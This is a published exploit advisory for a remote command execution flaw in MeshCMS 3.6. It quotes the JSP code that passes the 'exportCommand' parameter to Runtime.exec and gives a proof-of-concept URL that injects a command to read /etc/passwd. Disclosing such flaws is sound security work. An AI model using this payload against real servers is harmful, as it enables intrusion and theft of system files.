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MeshCMS 3.6 Remote Command Execution

MeshCMS 3.6 Remote Command Execution
Posted Apr 5, 2016
Authored by Piaox Xiong

MeshCMS version 3.6 suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | da04f5d5f4b1209e8faff39fb9ec4d95d49dbf0019c36962d2b9433ead3184ac

MeshCMS 3.6 Remote Command Execution

Change Mirror Download
#############

Exploit Title: MeshCMS 3.6 – Command Execution Vulnerability

Date: 2016-04-03

Exploit Author: piaox xiong

Vendor Homepage: http://www.cromoteca.com/en/meshcms/

Software Link: http://www.cromoteca.com/en/meshcms/download/

Version: 3.6

Tested on: Windows OS



#############

Application Description:

MeshCMS is an online editing system written in Java. It provides a set of
features usually included in a CMS, but it uses a more traditional
approach: pages are stored in regular HTML files and all additional
features are file-based, without needing a database.


#############

Vulnerability Description:

in the staticexport2.jsp jspfile,the parameter “exportCommand” cause Command
Execution.

if (!exportCommand.equals("")) {

out.println("\nexecuting: " + exportCommand);

Process process = Runtime.getRuntime().exec(exportCommand);

out.println("standard output:");

ByteArrayOutputStream baos = new ByteArrayOutputStream();

Utils.copyStream(process.getInputStream(), baos, false);

out.write(Utils.encodeHTML(baos.toString()));

baos.reset();

out.println("end of standard output\nerror output:");

Utils.copyStream(process.getErrorStream(), baos, false);

out.write(Utils.encodeHTML(baos.toString()));

int exit = process.waitFor();

out.println("end of error output\nexecution finished with exit code " +
exit);

POC:

http://127.0.0.1:8080/meshcms/meshcms/admin/staticexport2.jsp?exportBaseURL=%2Fmeshcms%2Fadmin%2Fstaticexport1.jsp&exportDir=upload&exportCheckDates=true&exportCommand=cat+%2Fetc%2Fpasswd&exportSaveConfig=true

[image: 内嵌图片 1]


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